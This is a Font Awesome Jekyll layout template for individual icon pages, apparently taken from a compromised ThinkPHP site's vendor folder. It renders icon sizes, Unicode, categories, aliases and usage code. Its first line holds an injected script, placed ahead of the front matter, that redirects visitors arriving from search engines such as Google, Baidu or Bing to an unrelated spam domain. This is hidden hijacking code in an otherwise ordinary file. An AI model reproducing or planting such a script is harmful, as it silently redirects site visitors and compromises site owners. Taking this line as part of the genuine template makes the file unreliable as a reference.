d:\wwwroot\wuchunhua\thinkphp\vendor\fortawesome\font-awesome\src\_layouts\icon.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>---
002:
layout: base
003:
title_suffix: Font Awesome Icons
004:
relative_path: ../../
005:
---
006:
<div class="jumbotron jumbotron-icon">
007:
<div class="container">
008:
<div class="info-icons">
009:
<i class="fa fa-{{ page.icon.id }} fa-6" aria-hidden="true"></i>
010:
<span class="sr-only">Example of {{ page.icon.id }} at 6x</span>
011:
<span class="hide-xs">
012:
<i class="fa fa-{{ page.icon.id }} fa-5" aria-hidden="true"></i>
013:
<span class="sr-only">Example of {{ page.icon.id }} at 5x</span>
014:
015:
<span class="hide-sm">
016:
<i class="fa fa-{{ page.icon.id }} fa-4" aria-hidden="true"></i>
017:
<span class="sr-only">Example of {{ page.icon.id }} at 4x</span>
018:
019:
</span>
020:
<i class="fa fa-{{ page.icon.id }} fa-3" aria-hidden="true"></i>
021:
<span class="sr-only">Example of {{ page.icon.id }} at 3x</span>
022:
023:
<i class="fa fa-{{ page.icon.id }} fa-2" aria-hidden="true"></i>
024:
<span class="sr-only">Example of {{ page.icon.id }} at 2x</span>
025:
026:
</span>
027:
<i class="fa fa-{{ page.icon.id }} fa-1" aria-hidden="true"></i>
028:
<span class="sr-only">Example of {{ page.icon.id }}</span>
029:
</div>
030:
<h1 class="info-class">
031:
fa-{{ page.icon.id }}
032:
<small>
033:
<i class="fa fa-{{ page.icon.id }}" aria-hidden="true"></i> ·
034:
Unicode: <span class="upper">{{ page.icon.unicode }}</span> ·
035:
Created: v{{ page.icon.created }} ·
036:
Categories:
037:
{% for category in page.icon.categories %}
038:
{{ category }}{% unless forloop.last %},{% endunless %}
039:
{% endfor %}
040:
{% assign icon_alias_count = page.icon.aliases | size %}
041:
{% if icon_alias_count > 0 %}
042:
· Aliases:
043:
{% for alias in page.icon.aliases %}
044:
fa-{{ alias }}{% unless forloop.last %},{% endunless %}
045:
{% endfor %}
046:
{% endif %}
047:
{% if page.icon.url %}· <a target="_blank" rel="nofollow" href="http://{{ page.icon.url }}">{{ page.icon.url }}<i class="fa fa-external-link-square margin-left-sm"></i></a>{% endif %}
048:
</small>
049:
</h1>
050:
</div>
051:
</div>
052:
053:
<div class="container">
054:
<section>
055:
<div class="row">
056:
<div class="col-md-9 col-sm-9">
057:
<p>After you get <a href="{{ page.relative_path }}get-started/">up and running</a>, you can place Font Awesome icons just about anywhere with the <code><i></code> tag:</p>
058:
<div class="well well-transparent">
059:
<div style="font-size: 24px; line-height: 1.5em;">
060:
<i class="fa fa-{{ page.icon.id }}" aria-hidden="true"></i><span class="sr-only">Example of {{ page.icon.id }}</span> fa-{{ page.icon.id }}
061:
</div>
062:
</div>
063:
{% highlight html %}
064:
<i class="fa fa-{{ page.icon.id }}" aria-hidden="true"></i>
065:
{% endhighlight %}
066:
<p class="margin-bottom-lg">
067:
<small class="text-muted">Note: to improve <a href="{{ page.relative_path }}accessibility/">web accessibility</a>, we recommend using <strong>aria-hidden="true"</strong> to hide icons used purely for decoration.</small>
068:
</p>
069:
070:
<div class="lead">
071:
<i class="fa fa-info-circle" aria-hidden"true"></i> Looking for more? Check out the <a href="{{ page.relative_path }}examples/">examples</a>.
072:
</div>
073:
</div>
074:
<div class="col-md-3 col-sm-3">
075:
<div class="vertical-ad">{% include ads/fusion.html %}</div>
076:
</div>
077:
</div>
078:
</section>
079:
</div>
080:
081:
082: